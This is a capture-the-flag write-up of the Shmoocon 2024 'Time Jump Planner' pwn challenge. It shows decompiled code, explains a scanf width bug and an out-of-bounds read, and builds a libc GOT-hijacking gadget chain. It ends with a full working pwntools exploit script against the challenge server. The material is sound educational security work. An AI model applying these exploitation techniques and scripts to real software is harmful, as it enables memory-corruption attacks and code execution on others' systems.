Time Jump Planner was a pwn challenge written by playoff-rondo for Battelle’s Shmoocon CTF. I solved first :)
tl;dr
100001875 int32_t main(int32_t argc, char** argv, char** envp)2
300001875 {40000188a void* fsbase;50000188a int64_t var_10 = *(uint64_t*)((char*)fsbase + 0x28);600001890 int32_t year = 0x7e7;7000018a8 void dial;8000018a8 memset(&dial, 0, 0x28);9000018b4 setup(&dial);10000018c3 puts("Time Jump Planner v1.2");11000018d5 while (true)12000018d5 {13000018de switch (((int32_t)menu(year)))14000018c8 {15000018fe case 0:16000018fe {17000018fe continue;18000018fe }1900001908 case 1:2000001908 {2100001908 add(&dial);220000190d continue;230000190d }2400001916 case 2:2500001916 {2600001916 remove_year(&dial);270000191b continue;280000191b }290000192b case 3:25 collapsed lines
300000192b {310000192b quick_jump(&dial, &year);3200001930 continue;3300001930 }3400001939 case 4:3500001939 {3600001939 manual_jump(&year);370000193e continue;380000193e }3900001947 case 5:4000001947 {4100001947 list(&dial);420000194c continue;430000194c }44000018fe case 6:45000018fe {46000018fe break;47000018fe break;48000018fe }49000018fe }50000018fe }5100001958 puts("Good Bye");5200001962 exit(0);5300001962 /* no return */5400001962 }
10000169b int64_t manual_jump(int32_t* arg1)2
30000169b {4000016ab void* fsbase;5000016ab int64_t rax = *(uint64_t*)((char*)fsbase + 0x28);6000016ba int32_t var_48 = 1;7000016cb puts("Manual Jump Mode:");8000016df printf("Enter Year: ");9000016fa int32_t var_4c;10000016fa __isoc99_scanf("%d%*c", &var_4c);1100001709 puts("Describe location:");120000171d printf("\tEnter number of characters of …");1300001738 __isoc99_scanf("%d%*c", &var_48);1400001743 if (var_48 > 0x1e)1500001740 {1600001745 var_48 = 0x1e;1700001745 }1800001765 void var_42;1900001765 sprintf(&var_42, "%%%ds", ((uint64_t)var_48), "%%%ds");2000001779 printf("\tEnter location: ");2100001791 void var_38;2200001791 __isoc99_scanf(&var_42, &var_38, &var_38);23000017ae printf("Jumping to Year %u at %s\n", ((uint64_t)var_4c), &var_38);24000017ba *(uint32_t*)arg1 = var_4c;25000017bc getchar();26000017cf if (rax == *(uint64_t*)((char*)fsbase + 0x28))27000017c6 {28000017d7 return (rax - *(uint64_t*)((char*)fsbase + 0x28));29000017c6 }3 collapsed lines
30000017d1 __stack_chk_fail();31000017d1 /* no return */32000017d1 }
1000015ae int64_t quick_jump(int64_t* arg1, int32_t* arg2)2
3000015ae {4000015c2 void* fsbase;5000015c2 int64_t rax = *(uint64_t*)((char*)fsbase + 0x28);6000015db puts("Quick Jump:");7000015ef printf("Index: ");80000160a int32_t var_14;90000160a __isoc99_scanf("%d%*c", &var_14);100000161c if ((var_14 <= 0xa && var_14 >= 0))110000161a {1200001660 printf("Jumping to Year %lu at current l…", arg1[((int64_t)var_14)]);1300001682 *(uint32_t*)arg2 = ((int32_t)arg1[((int64_t)var_14)]);1400001692 if (rax == *(uint64_t*)((char*)fsbase + 0x28))1500001689 {160000169a return (rax - *(uint64_t*)((char*)fsbase + 0x28));1700001689 }1800001694 __stack_chk_fail();1900001694 /* no return */2000001694 }2100001628 puts("Invalid Index!");2200001632 exit(0);2300001632 /* no return */2400001632 }
There are a few different bugs around but I took advantage of two in my exploit. A sprintf buffer overflow found in manual_jump and a minor out of bounds read present in quick_jump.
The buffer overread is present in most operations on the dial array. It is a bounds-checked buffer of 10 u32 numbers, however when indexed it is treated as an array of u64. The functions add, remove_year, and list all have this bug but it’s not particularly useful because things are otherwise interpreted as u32 (we can leak or set the lower four bytes for a bit of the stack frame, but the shadow stack means we can’t do anything interesting with the return pointer). There is one (that I found) useful leak with this bug — quick_jump will copy a year from the dial table to the year variable and print it as a u64.
1def quick_jump_leak(r, index):2 r.sendline(b"3")3 r.sendline(str(index))4 r.recvuntil(b" Year ")5 leak = int(r.recvuntil(b" "))6 r.recvuntil(b">>")7 return leak
The second major bug was present in manual_jump. A user provided length was used for scanf %s width and the bounds checking was insufficient. The width was limited to a maximum of 0x1e but there were no limits on the lower bound allowing for 0 or negative %s widths. There are two ways to take advantage of this (that i’m aware of) — a width of 0 (%0s) is equivalent to %s (causing a stack buffer overflow) and a width of -1 (%-1s) will not read bytes or place a terminating null byte.
I used %-1s to leak a stack pointer from the now uninitialized buffer like so:
1r.sendline(b"4")2r.sendline(b"1337")3r.sendline(b"-1")4r.sendline(b"A5")5r.recvuntil(b"Year 1337 at ")6manual_jump_rbp = u64(r.recvline().rstrip().ljust(8,b'\x00')) - 0x1187r.recvuntil(b">>")8r.recvuntil(b">>")
I used %0s to build a write primitive. Due to the shadow stack I was unable to ROP and achieving code execution was nontrivial. With our previous leaks we can overflow past the saved RIP and canary — and then modify the saved RBP. Once we return to the caller function local variables are referenced relative to RBP — and we can easily build an arbitrary write primitive in many different ways. I chose to use manual_jump so that after the write I could use the buffer overflow to repair RBP to the original value.
1 def manual_jump_rbp_overwrite(r, year, target, should_fault=False):2 encoded_rbp = p64(target + 0x34)3 if b'\x0c' in encoded_rbp or b'\x20' in encoded_rbp or b'':4 print("cant do whitespace :(")5 exit(1)6 r.sendline(b"4")7 r.sendline(str(year))8 r.sendline(b"0")9 r.sendline(flat({10 16: 0x5add011,11 24: manual_jump_rbp+0x48,12 40: 0x41414141 if should_fault else canary,13 48: target + 0x34,14 56: pie_base+0x193e,15 80: 0x6942069420-1,16 200: "please_give_me_flag\x00",17 },length=256))18 try:19 r.recvuntil(b">>")20 except: # recvuntil will eof after it has crashed21 pass22
23 def write_u32(r, address, value, should_fault=False):24 log.info(f"writing u32 {hex(value)} to {hex(address)}")25 manual_jump_rbp_overwrite(r, 0, address)26 manual_jump_rbp_overwrite(r, value & 0xffffffff, manual_jump_rbp, should_fault=should_fault)
At this point we have the following capabilities:
In most cases the challenge would be essentially over — arbitrary write is a powerful primitive, right? Just drop a one gadget over function pointers until something matches the constraints? In this case we’re still at the beginning of the challenge. As mentioned earlier, the binary is running inside QEMU with a plugin that does three things:
To get the flag we need to be able to make a syscall with control of the first two arguments — controlling rax, rdi, and rsi (or use the libc syscall function and control rdi, rsi, and rdx). However, the tools to do that are extremely scarce. I was stuck here for a long time with many failed approaches. After many failed approaches I came across a writeup on libc GOT hijacking. I’m familiar with the use of the libc GOT as a replacement for free_hook/malloc_hook to call a controlled function but I’d never considered using it for a code reuse attack.
The technique is roughly similar to GOP/JOP except it uses calls into the GOT as the method of directing control flow.
1> cargo run -- ~/chrononaut-shmoo-24/time_jump/jump_planner_release/libc.so.6 | wc -l234704
For example, this is the first gadget of my chain which I used to shift the stack upwards to the controlled area:
1000d059b 4881c4f8000000 add rsp, 0xf82000d05a2 5b pop rbx {__saved_rbx}3000d05a3 5d pop rbp {__saved_rbp}4000d05a4 415c pop r12 {__saved_r12}5000d05a6 415d pop r13 {__saved_r13}6000d05a8 415e pop r14 {__saved_r14}7000d05aa 415f pop r15 {__saved_r15}8000d05ac e90f80f5ff jmp jumps_wcscmp
The address of the next gadget would be placed in the GOT entry for wcscmp, which would end in a call to another GOT entry and so on.
This technique has a rather significant fundamental limitation in that each GOT entry can only be used once or you’ll create a cycle — but in practice I found that wasn’t a huge issue and it was relatively straightforward to control the first three arguments (at which point you could instead call mprotect and run shellcode). The larger limitation is that you can’t clobber a GOT entry if your write primitive calls it or you’ll trigger your chain early and likely crash. I did this manually as I was writing my chain but it should be easy enough to automate in GDB (drop a tracepoint on each plt stub and check hitcounts? The GDB plugin API should be sufficient… I’ll probably write something up when I have time) and exclude those gadgets.
As mentioned earlier, my first gadget was intended to shift the stack to the controlled area. Although some registers were set, the data on stack was uncontrolled. Coincidentally, this gadget left rsp pointing directly to the start of the controlled stack data.
1000d059b 4881c4f8000000 add rsp, 0xf82000d05a2 5b pop rbx {__saved_rbx}3000d05a3 5d pop rbp {__saved_rbp}4000d05a4 415c pop r12 {__saved_r12}5000d05a6 415d pop r13 {__saved_r13}6000d05a8 415e pop r14 {__saved_r14}7000d05aa 415f pop r15 {__saved_r15}8000d05ac e90f80f5ff jmp jumps_wcscmp
My second gadget was intended to populate rdx with 0x6942069420 — the magic value for the second argument to the backdoor function. My stack control used sprintf which limited the bytes which could be written to non-whitespace bytes. I used this gadget which read data from the stack and then added 1 to rdx.
10005139f 488b542450 mov rdx, qword [rsp+0x50 {var_878_1}]2000513a4 4b8d3c08 lea rdi, [r8+r9]3000513a8 4c89fe mov rsi, r154000513ab 48894c2440 mov qword [rsp+0x40 {var_888_4}], rcx5000513b0 4c894c2420 mov qword [rsp+0x20 {var_8a8_6}], r96000513b5 4883c201 add rdx, 0x17000513b9 4c89442428 mov qword [rsp+0x28 {var_8a0_6}], r88000513be e86d70fdff call jumps_memmove
The next gadget popped from the stack into a variety of registers — although none of these registers are directly used in the backdoor call I found a couple gadgets which moved from r registers.
10013076c 5b pop rbx {__saved_rbx}20013076d 5d pop rbp {__saved_rbp}30013076e 415c pop r12 {__saved_r12}400130770 415d pop r13 {__saved_r13}500130772 415e pop r14 {__saved_r14}600130774 e9077eefff jmp jumps___strcasecmp
The last two gadgets are fairly straightforward and just move from r13/r14 into rdi/rsi — at which pointer we have set up registers appropriately and can call syscall.
1000c651c 4c89f6 mov rsi, r142000c651f 4889d7 mov rdi, rdx3000c6522 4d01e6 add r14, r124000c6525 48891424 mov qword [rsp {var_1a8}], rdx5000c6529 e85221f6ff call jumps_wcsnlen6
70011de45 4c89ef mov rdi, r1380011de48 41bc01000000 mov r12d, 0x190011de4e e89da7f0ff call jumps_rindex
I used __stack_chk_fail to trigger my GOP chain because it is a relatively simple function with a slim stack frame which made it easier to access the controlled section of the stack from the gadgets. On the last write when the start of the chain was written I intentionally corrupted the canary to start the chain with a shorter stack frame.
It’s worth noting that this type of attack isn’t limited to just libc — it can be applied to any ELF with a writeable (non full RELRO) GOT (although in practice libc is big and consistently available). If a more complex chain were needed and more libraries were available then a chain could be built across multiple library GOT sections.
1cargo run -- ~/chrononaut-shmoo-24/time_jump/jump_planner_release/ld-linux-x86-64.so.2 | wc -l21395
I had a lot of trouble with whitespace management. The author writeup used a double call gadget to call gets at the start — leaving a much more manageable constraint (no newlines)
1001187f2 e839fcf0ff call jump_memmove2001187f7 be2f000000 mov esi, 0x2f3001187fc 4c89ef mov rdi, r134001187ff e8ecfdf0ff call jump_strrchr
Although during the event I found gadgets using a binary ninja script — after the fact I wrote a gadget finder which has no proprietary dependencies and can find gadgets including partial instructions. I make no promises about code quality, general maintained-ness, or really anything — i just thought it would be cool and slammed it together but im super busy :(
This was a challenge from the Battelle booth at Shmoocon 2024 — I like their recruiting CTF challenges and generally learn something cool when solving them. Also they gave out a really cool badge. If you’re interested you can find their cybersecurity careers page here. This is a no bias shill :) I do not work there.
1#!/usr/bin/env python32
3from pwn import *4
5exe = ELF("./jump_planner_patched")6libc = ELF("./libc.so.6")7ld = ELF("./ld-linux-x86-64.so.2")8
9context.terminal = ["zellij", "action", "new-pane", "-d", "right", "-c", "--", "zsh", "-c"]10context.binary = exe11context.bits = 6412
13def conn():14 if args.LOCAL:15 r = process(['./run'])16 elif args.GDB:17 r = gdb.debug([exe.path], gdbscript="")18 else:19 r = remote("jump.chrononaut.xyz", 5000)20
21 return r22
23
24def quick_jump_leak(r, index):25 r.sendline(b"3")26 r.sendline(str(index))27 r.recvuntil(b" Year ")28 leak = int(r.recvuntil(b" "))29 r.recvuntil(b">>")116 collapsed lines
30 return leak31
32def chunks(lst, n):33 """Yield successive n-sized chunks from lst."""34 for i in range(0, len(lst), n):35 yield lst[i:i + n]36
37def main():38 r = conn()39
40 R_DEBUG_OFFSET = 0x3b11841
42 pie_base = quick_jump_leak(r, 9) - exe.symbols['main']43 libc.address = quick_jump_leak(r, 7) - 0x29d9044 ld_address = libc.address + 0x29a00045 canary = quick_jump_leak(r,5)46
47 r.sendline(b"4")48 r.sendline(b"1337")49 r.sendline(b"-1")50 r.sendline(b"A5")51 r.recvuntil(b"Year 1337 at ")52 manual_jump_rbp = u64(r.recvline().rstrip().ljust(8,b'\x00')) - 0x11853 r.recvuntil(b">>")54 r.recvuntil(b">>")55
56 log.info(f"manual_jump_rbp @ {hex(manual_jump_rbp)}")57 log.info(f"pie_base @ {hex(pie_base)}")58 log.info(f"libc.address @ {hex(libc.address)}")59 log.info(f"canary @ {hex(canary)}")60
61
62 def manual_jump_rbp_overwrite(r, year, target, should_fault=False):63 encoded_rbp = p64(target + 0x34)64 if b'\x0c' in encoded_rbp or b'\x20' in encoded_rbp or b'':65 print("cant do whitespace :(")66 exit(1)67 r.sendline(b"4")68 r.sendline(str(year))69 r.sendline(b"0")70 r.sendline(flat({71 16: 0x5add011,72 24: manual_jump_rbp+0x48,73 40: 0x41414141 if should_fault else canary,74 48: target + 0x34,75 56: pie_base+0x193e,76 80: 0x6942069420-1,77 200: "please_give_me_flag\x00",78 },length=256))79 try:80 r.recvuntil(b">>")81 except: # recvuntil will eof after it has crashed82 pass83
84 def write_u32(r, address, value, should_fault=False):85 log.info(f"writing u32 {hex(value)} to {hex(address)}")86 manual_jump_rbp_overwrite(r, 0, address)87 manual_jump_rbp_overwrite(r, value & 0xffffffff, manual_jump_rbp, should_fault=should_fault)88
89 ADJUST_STACK = 0x000d059b # jumps to wcscmp90 # 000d059b 4881c4f8000000 add rsp, 0xf891 # 000d05a2 5b pop rbx {__saved_rbx}92 # 000d05a3 5d pop rbp {__saved_rbp}93 # 000d05a4 415c pop r12 {__saved_r12}94 # 000d05a6 415d pop r13 {__saved_r13}95 # 000d05a8 415e pop r14 {__saved_r14}96 # 000d05aa 415f pop r15 {__saved_r15}97 # 000d05ac e90f80f5ff jmp jumps_wcscmp98
99 RDX_GADGET = libc.address + 0x0005139f100 # is a little screwy bc the needed rdx is 0x6942069420 which contains whitespace101 # 0005139f 488b542450 mov rdx, qword [rsp+0x50 {var_878_1}]102 # 000513a4 4b8d3c08 lea rdi, [r8+r9]103 # 000513a8 4c89fe mov rsi, r15104 # 000513ab 48894c2440 mov qword [rsp+0x40 {var_888_4}], rcx105 # 000513b0 4c894c2420 mov qword [rsp+0x20 {var_8a8_6}], r9106 # 000513b5 4883c201 add rdx, 0x1107 # 000513b9 4c89442428 mov qword [rsp+0x28 {var_8a0_6}], r8108 # 000513be e86d70fdff call jumps_memmove109
110 BIG_POP_GADGET = libc.address + 0x0013076c # jumps to strcasecmp111 # 0013076c 5b pop rbx {__saved_rbx}112 # 0013076d 5d pop rbp {__saved_rbp}113 # 0013076e 415c pop r12 {__saved_r12}114 # 00130770 415d pop r13 {__saved_r13}115 # 00130772 415e pop r14 {__saved_r14}116 # 00130774 e9077eefff jmp jumps___strcasecmp117
118 MOV_RSI_R14 = libc.address + 0x000c651c119 # 000c651c 4c89f6 mov rsi, r14120 # 000c651f 4889d7 mov rdi, rdx121 # 000c6522 4d01e6 add r14, r12122 # 000c6525 48891424 mov qword [rsp {var_1a8}], rdx123 # 000c6529 e85221f6ff call jumps_wcsnlen124
125 MOV_RDI_R13 = libc.address + 0x0011de45 # calls rindex126 # 0011de45 4c89ef mov rdi, r13127 # 0011de48 41bc01000000 mov r12d, 0x1128 # 0011de4e e89da7f0ff call jumps_rindex129
130
131 write_u32(r, libc.address + 0x219148, libc.symbols['syscall']) # rindex132 write_u32(r, libc.address + 0x219190, MOV_RDI_R13) #wcsnlen133 write_u32(r, libc.address + 0x219110-1, ( MOV_RSI_R14 & 0xffffffff) << 8) # strcasecmp134 # have to offset this by one bc the address contains whitespace135 write_u32(r, libc.address + 0x219068, BIG_POP_GADGET) # memmove136 write_u32(r, libc.address + 0x219130, RDX_GADGET) # wcscmp137 write_u32(r, libc.address + 0x219098, libc.address + ADJUST_STACK, should_fault=True)#) # strlen138
139 # good luck pwning :)140
141 r.interactive()142
143
144if __name__ == "__main__":145 main()